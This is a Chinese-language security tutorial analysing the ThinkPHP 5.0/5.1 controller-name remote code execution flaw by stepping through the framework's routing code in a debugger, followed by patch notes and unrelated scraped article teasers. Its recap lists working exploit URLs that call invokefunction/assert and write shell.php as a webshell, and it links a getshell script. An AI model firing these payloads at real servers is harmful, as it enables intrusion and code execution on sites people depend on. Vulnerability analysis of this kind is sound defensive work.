thinkphp v5.0.11漏洞_ThinkPHP5丨远程代码执行漏洞动态分析

eb3ddc8b392b566c70ad3d1041e619ae.gif

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,在保持出色的性能和至简代码的同时,也注重易用性。但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏洞。

这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令,受影响的版本包括5.0和5.1版本。

那么今天i春秋用动态分析法来介绍远程代码执行,同时还能快速了解整个执行过程和一些变量参数,文章阅读用时约7分钟。

81cfd392f16f65c106f222de07844202.png

511fd6e6c1f75ceb2cd600bdc6101bd3.png

01

环境

程序源码下载:

http://www.thinkphp.cn/download/967.html

Web环境:Windows 10 x64+PHPStudy 20018

调试工具:phpstorm+xdebug(用vscode也可以,我比较习惯用phpstorm)

因为我是从头分析到尾,所以要在设置里面勾上Break at first line in PHP script

91eafe63ab2c4d7dfe447e50bf1ac954.png

搭建就不多说了,放源码在根目录然后phpstudy启动!

02

漏洞复现

63a59267012980f92f9456a35e70efd2.png

其实有很多利用的地方,到后面分析完再说。

03

漏洞分析

因为是从开始分析,也比较适合新手,就不演示去下某个断点了,如果有不懂的你们也可以在不懂的地方下一个断点然后继续分析(记得去掉Break at first line in PHP script再下断点)。

有些不是重点的直接F7或者F8走下去,F7跟进Facade:

f1b8a1c8bcf59a14ad57b1088a269183.png

到App.php初始化的地方,继续F8往下面走:

a843864ca71680ff614417074fdc1c3b.png

到routeCheckF7跟进去:

99d464c30d0d5b64bf4d20f057e1d122.png

到这里F7继续跟进去:

7c7d8de88d0034ea9fea6831b6a44c3a.png

有些没有必要的函数就直接F8跳过去,到pathinfo( )这里F7跟进去:

ac16b06ba322bb53e26a4f560d153afe.png

我们可以分析一下这个·pathinfo函数的代码$this->config->get('var_pathinfo')这一句是从配置文件config/app.php获取的值:

e71cc62c9a20cf042c5e31890211d646.png

当请求报文包含$_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数,所以我们可利用$_GET['s']来传递路由信息。

    public function pathinfo(){
        if (is_null($this->pathinfo)) {
            if (isset($_GET[$this->config->get('var_pathinfo')])) {
                // 判断URL里面是否有兼容模式参数
                $_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')];
                unset($_GET[$this->config->get('var_pathinfo')]);
            } elseif ($this->isCli()) {
                // CLI模式下 index.php module/controller/action/params/...
                $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
            }

            // 分析PATHINFO信息
            if (!isset($_SERVER['PATH_INFO'])) {
                foreach ($this->config->get('pathinfo_fetch') as $type) {
                    if (!empty($_SERVER[$type])) {
                        $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
                        substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
                        break;
                    }
                }
            }

            $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
        }

        return $this->pathinfo;
    }

可以看到return $this->pathinfo;返回的内容:

cd59d122d7bb13214ed0044c09960159.png

F7走,可以看到$pathinfo赋值给$this->path:

bfd44b3eeb667782f70e096cd66c3600.png

F7走到check的函数,如果开启了强制路由则会抛出异常,也就是说该漏洞在开启强制路由的情况下不受影响,但是默认是不开启的。

后面看到实例化了UrlDispatch对象,将$url传递给了构造函数。

5cf69e549783138f5291071478614fca.png

再继续分析下去,中间有些不必要的直接F8走过就行了。可以看到将$url传递给了$action。

d53568caefb40f909051e1ebbf6d0099.png

F7走下去,跳回了App.php,可以看到$dispatch返回来的值代入dispatch方法。

75b35b40b9b083577a20a6bf024587c4.png

F7走进去,可以看到传入的$dispatch赋值给了$this->dispatch,不过现在分析这个版本是有改动的,有些版本是在这里用dispatch代入下面会分析到的parseUrl方法,这个版本的是用$this->action来parseUrl方法的,继续分析下去,下面会分析到的。

359c2b7d3af501c3e1207bef9102507b.png

F7又返回了App.php的文件,可以看到执行调度这里$data = $dispatch->run( );,我们F7跟进去。

9104c428588984c1890af94c5a4fff42.png

这里就是上面所说的,$url是由thinkphp/library/think/route/Dispatch.php里面的$this->action = $action;传过来的。

645d129faed65eec8485962f893d7486.png

我们F7继续分析parseUrl方法,然后F8走到这里。

7520eaa4ac06be25dc4c8b5e7cbd50b4.png

F7进到这个parseUrlPath方法里面,用/来分割[模块/控制器/操作]并存到$path数组里面。

    private function parseUrlPath($url){
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];

        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } elseif (false !== strpos($url, '=')) {
            // 参数1=值1&参数2=值2...
            parse_str($url, $var);
        } else {
            $path = [$url];
        }

        return [$path, $var];
    }

1852a73ee3b210a30db68decb688b8d8.png

中间的继续F8往下走,返回的$route数组

30fa965eac8ada16910eb6728fcb90cd.png

继续往下走,F7进去。

470a92aa6f7b0ed73f69bcabe79c3eac.png

可以看到:

thinkphp/library/think/route/Dispatch.php类这里的$this->action的值变了。

29d286ff24335b4826d9ad365f98735b.png

继续会走到:

thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action赋值给了$result。

0447fef845285ec07880ac1d5f09f1f9.png

F8往下走,走到实例化控制器,这里的$controller是可控的,是由上面的$result[1]传过来的。

2cd2dd5aecafa733b13f15fbc51ba34c.png

F7跟进去,当$name存在反斜杠时就直接将$name赋值给$class并返回。攻击者通过控制输入就可以操控类的实例化过程,从而造成代码执行漏洞。

047da748b167f097f01a2db5b807650c.png

下面就是调用反射执行类的步骤了:

b208ea3227d489c34aeb58772e18026d.png

也可以往下看,这里是通过invokeMethod 函数动态调用方法的地方,可以看到$class是think\Requset的类,$method是input。

271896b250777cf6c52e0a444af346ed.png

后面就是把内容输出到浏览器的过程了

2d5e6dddfea1a556ac3c04b4ec39a03f.png

04

漏洞分析回顾

开始我们分析pathinfo( )函数的时候得知可以用s来获取路由信息

parseUrlPath方法用来分割[模块/控制器/操作]格式

在后面传入$controller的时候,就是开始我们获取到路由的值,但是用反斜杠就开头,就是想要实例化的类。

最后是反射函数,调用了input方法执行phpinfo( )

一定是要Request类里面的input方法来执行吗?

不一定,视版本而决定。

以下是先知大神分类出来的

5.1是下面这些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

think\Route 
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php

5.0.x php版本>=5.4:

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

这里也不写getshell的python脚本了 ,可以参考:

https://github.com/theLSA/tp5-getshell

05

补丁分析

下面是针对5.0和5.1的补丁,添加了正则过滤,导致无法再传入\think\app这种形式的控制器。

4303c0ca291e7e73e7c9e7483597691e.png

91aa9d099d16c4a5f071447921137bd3.png

以上是今天的内容,大家看懂了吗?

新来的朋友如果想要了解其他的必备技能和实用工具,可以点击菜单栏中的入门锦囊查看相关内容:

1fd8a1085a1b41370907770d2222b320.png

文章素材来源于i春秋社区

52ac8a90fd0089bba4eb154f4b111f6d.png

i春秋官方公众号为大家提供

前沿的网络安全技术

简单易懂的实用工具

紧张刺激的安全竞赛

还有网络安全大讲堂

更多技能等你来解锁

7009b2ba1e4f66eef736c07d322ad376.png

63f733833c026b623dd8c865c6e3dadb.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/552752.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电脑提示0xc0000719设备未迁移如何解决

我们经常会使用usb硬盘传输文件&#xff0c;但是可能会遇到系统提示0xc0000719设备未迁移&#xff0c;导致文件传输失败&#xff0c;这是怎么回事?可能是硬盘出现了问题&#xff0c;也可能是插口损坏&#xff0c;下面我们就来看看解决的方法。 电脑提示0xc0000719设备未迁移如…

本地提交spark_Spark 数据本地化级别

​​RDD 源码大家可以看到源码中的第五条注释说明&#xff0c;翻译过来的大概意思是提供一系列的最佳计算位置。我之前一直不太清楚 spark 是如何内部实现的&#xff0c;今天就带领大家来看一看 spark 的本地数据化级别在任务执行中的演变过程。1 数据的本地化级别有哪些&#…

Win11怎么设置桌面软件小图标 Win11设置桌面软件小图标教程

Win10系统升级Win11系统之后&#xff0c;用户发现Win11比Win10多了非常多的功能&#xff0c;特别是一些可以自定义的功能&#xff0c;这是都是微软为了让用户有更好的体验感&#xff0c;让用户可以根据自己的喜欢进行设置调节&#xff0c;下面就给大家带来Win11桌面软件设置小图…

街舞中的rolling机器人_首家!爆点!奈雪の茶、蛙小侠..开业倒计时!街舞PK…这个六一就差你来围观了...

说起济南的各大shopping mall世茂广场绝对是最得人心的总能迅速集结当下最火爆的品牌各种线上线下活动也是搞得新颖又有趣五一的“刘看山”还没结束呢这就马不停蹄的要上新活动了前方预警⚠奈雪の茶等一大波新店又要入驻啦 还有 “奔跑吧爸爸”亲子活动、街舞大赛 ……统统都在…

Win11系统自动暂停更新后想继续怎么办 Win11系统重新启动更新教程

因为Win10系统跟Win11系统还是差别很大的原因&#xff0c;系统出现了问题很多人都不知道再怎么解决&#xff0c;有的用户就遇到Win11系统自动更新后突然暂停了想继续更新但是不知道去哪里操作的问题&#xff0c;下面给大家带来Win11系统自动暂停更新后如何继续更新的教程。 教…

简述isodata算法的原理_基于UWB技术的室内定位方法简述

1. UWB室内定位概述&#xff1a;UWB室内定位技术与传统通信技术有极大的差异&#xff0c;它不需要使用传统通信体制中的载波&#xff0c;而是通过发送和接收具有纳秒或纳秒级以下的极窄脉冲来传输数据&#xff0c;从而具有GHz量级的带宽。超宽带室内定位可用于各个领域的室内精…

如何在Win11重置系统中保留个人文件 Win11重置系统保留个人文件方法

Win1系统是目前很多用户都在使用的电脑操作系统&#xff0c;但是最近安装的Win11系统有很多bug&#xff0c;很多用户想重置系统&#xff0c;但是不知道如何保留个人文件&#xff0c;下面小编就为大家详细的介绍一下&#xff0c;有需要的快来看看吧! Win11重置系统保留个人文件…

slider获取点击 unity_Unity基础 | 70分钟带你轻松入门

Hello . 大家好今天给大家分享Unity3D的基础入门我是麦田这次录制的教程是面向零基础&#xff0c;想上手Unity的同学。所以就做了这一次大串讲。(只此一回&#xff0c;别无分号了。)时长1小时10分钟&#xff0c;我的建议是一口气看完。(因为我也是一口气讲完的)大家可以点击文末…

win7电脑文件夹属性没有安全选项的解决方法

在win7系统中&#xff0c;我们可以在文件夹属性的安全选项里对文件夹进行修改、读取、写入等权限的设置&#xff0c;但是很多朋友在准备设置权限时发现安全选项找不到了&#xff0c;这时候我们可以通过输入命令的方式将它找回来&#xff0c;下面一起来看看win7电脑文件夹属性没…

达梦数据库导入oracle数据_达梦数据库助力加速石油石化行业数字化转型升级

2020中国石油石化企业信息技术交流大会暨数字化转型、智能化发展高峰论坛于10月22日-23日在北京召开&#xff0c;武汉达梦数据库有限公司(简称达梦公司)作为国产数据库代表企业受邀参与此次活动&#xff0c;并以“国产数据库能源行业解决方案”为主题报告&#xff0c;为来宾介绍…

win7宽带已连接但是有感叹号无法上网的解决方法

网络图标显示感叹号是很常见的问题&#xff0c;可是有些win7 32位旗舰版用户已经连拨号连接成功了&#xff0c;也显示“已连接”&#xff0c;可是网络图标依旧还有感叹号&#xff0c;并且提示无网络访问&#xff0c;网页也打不开&#xff0c;网络诊断后提示dns服务器未响应或者…

在lcd屏幕上窗口显示一个bitmap_SmartDrop——LED/LCD大屏内容投屏管理软件

产品简介SmartDrop是飞画推出的一款针对拼接大屏(LCD/LED)进行内容投屏管理的播控软件&#xff0c;支持LCD/LED两种应用环境&#xff0c;用户可以根据屏幕的使用场景进行选择安装LCD-Drop或LED-Drop。SmartDrop支持超高分辨率&#xff0c;显示窗口分辨率自定义,远程可视化控制&…

Win7系统桌面右下角托盘图标不显示原因和解决方法

有位Ghost win7系统用户说开机桌面右下角托盘图标不见了&#xff0c;不显示托盘图标对操作有所影响&#xff0c;每次需要点击“←”按钮才可以显示&#xff0c;过一会又自动消失&#xff0c;什么原因导致的呢?出现这样的情况是由于系统中设置了隐藏任务栏图标。针对此问题&…

复杂电路简化经典例题_【中考物理】电路简化的10大原则和7大步骤

电路问题是初中物理比较难的知识&#xff0c;也是中考很重要的一部分。很多同学遇到电路类的题目&#xff0c;摆在面前的第一个问题就是不会简化电路图。今天给大家分享电路简化的10大原则和7大步骤&#xff0c;希望能够帮你解决这个难题&#xff01;电路简化的10大基本原则初中…

猎豹浏览器截图在哪 猎豹浏览器如何截图

猎豹浏览器是一款非常不错网页浏览器&#xff0c;一般用户在网页上看到喜欢的画面时会选用一些截图软件来截取画面&#xff0c;若是电脑上没有截图软件&#xff0c;也不方便使用QQ截图的话&#xff0c;那不妨试试浏览器自带的截图功能&#xff0c;可能很多用户并不知道有这么一…

贪吃蛇的编程python_python实现贪吃蛇游戏

本文实例为大家分享了python实现贪吃蛇游戏的具体代码&#xff0c;供大家参考&#xff0c;具体内容如下本文稍作改动&#xff0c;修复一些bug&#xff0c;原文链接&#xff1a;python实现贪吃蛇游戏#!/usr/bin/env python#__*__ coding: utf-8 __*__import pygame,sys,time,ran…

Win10提示不是有效的字体文件怎么解决

最近有用户跟小编反应自己打开Win10系统Font字体文件夹预览字体时&#xff0c;突然提示不是有效的字体文件&#xff0c;这是什么情况?下面小编就给大家分享一下Win10提示不是有效的字体文件的解决方法。 Win10提示不是有效的字体文件怎么解决 解决方法&#xff1a; 1、查看…

单关闭功能_广告弹窗关闭

相信现在大部分电脑都安装360安全卫士和搜狗拼音输入法&#xff0c;关于这两款软件各有吐槽&#xff0c;最讨厌的莫过于莫名奇妙的各种广告弹窗&#xff0c;让人不厌其烦。因为我们是免费&#xff0c;所以不要渴求太多。360安全卫士广告弹窗关闭办法1、打开360安全卫士点击右上…

win7怎么解压rar文件_win7解压rar文件的方法

大家知道win7怎么解压rar文件?rar是一种常用的文件压缩与归档的私有格式&#xff0c;用于数据压缩与归档打包。加快传输速度&#xff0c;我们都会将文件进行压缩。但最近有Win7系统用户反映收到rar文件&#xff0c;却不知道w怎么解压rar文件?其实只需安装一个支持解压缩rar文…

忽视大小写函数_使用率低但功能强大的6个Excel函数公式应用技巧解读!

在Excel函数公式中&#xff0c;有部分函数的使用率是比较低的&#xff0c;但是其功能也是非常强大的。一、Median函数。功能&#xff1a;返回一组数的中值。中值就是一组数的中间数值&#xff0c;如果参数包含的数值是偶数&#xff0c;Median函数将返回位于中间两个值的平均值。…